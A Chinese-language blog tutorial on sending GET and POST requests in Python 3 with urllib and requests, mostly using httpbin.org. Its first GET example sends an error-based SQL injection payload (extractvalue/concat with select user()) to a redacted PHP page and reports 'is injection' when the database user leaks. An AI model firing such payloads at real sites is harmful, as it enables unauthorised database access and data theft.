使用python3對網頁進行GET和POST請求

使用urllib模塊實現:

1.GET請求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat get_1.py 

from urllib import request

a='root'
response = request.urlopen('http://xxxxxxxx:100/Jcyy-1.php?id=1%27%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--%20-',timeout=1)
res = response.read().decode('utf-8')
print (res)

if a in res:
	print ('is injection')
else:
	print ('no injection')
-----------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 get_1.py 
XPATH syntax error: '~root@localhost~'</font>
is injection

2.POST請求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat post_3.py 
from urllib import parse
from urllib import request

data = bytes(parse.urlencode({'hello':'world'}),encoding = 'utf8')
#將字典重新編碼並指定字符集纔可使用。
response = request.urlopen('http://httpbin.org/post',data=data)
print (response.read().decode('utf-8'))
----------------------------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 post_3.py 
{
  "args": {}, 
  "data": "", 
  "files": {}, 
  "form": {
    "hello": "world"    #★
  }, 
  "headers": {
    "Accept-Encoding": "identity", 
    "Content-Length": "11", 
    "Content-Type": "application/x-www-form-urlencoded", 
    "Host": "httpbin.org", 
    "User-Agent": "Python-urllib/3.5"
  }, 
  "json": null, 
  "origin": "xxxxxxx, xxxxxxxx", 
  "url": "https://httpbin.org/post"
}

使用requests模塊實現(更簡便、第三方庫):

1.GET請求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat reget_1.py 
import requests

url = 'http://httpbin.org/get'
data = {'key':'value','aaa':'bbb'}

response = requests.get(url,data)
#.get是使用get的方式來請求url,字典類型的data無需額外處理。
print (response.text)
---------------------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 reget_1.py 
{
  "args": {
    "aaa": "bbb", 
    "key": "value"
  }, 
  "headers": {
    "Accept": "*/*", 
    "Accept-Encoding": "gzip, deflate", 
    "Host": "httpbin.org", 
    "User-Agent": "python-requests/2.21.0"
  }, 
  "origin": "xxxxx, xxxxx", 
  "url": "https://httpbin.org/get?aaa=bbb&key=value"
}

2.POST請求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat repost_1.py 
import requests

url = 'http://httpbin.org/post'
data = {'key':'value','aaa':'bbb'}

response = requests.post(url,data)
print (response.json())
------------------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 repost_1.py 
{'data': '', 'url': 'https://httpbin.org/post', 'form': {'aaa': 'bbb', 'key': 'value'}, 'args': {}, 'files': {}, 'origin': 'xxxxxx, xxxxxx', 'headers': {'Host': 'httpbin.org', 'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Length': '17', 'User-Agent': 'python-requests/2.21.0', 'Content-Type': 'application/x-www-form-urlencoded'}, 'json': None}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章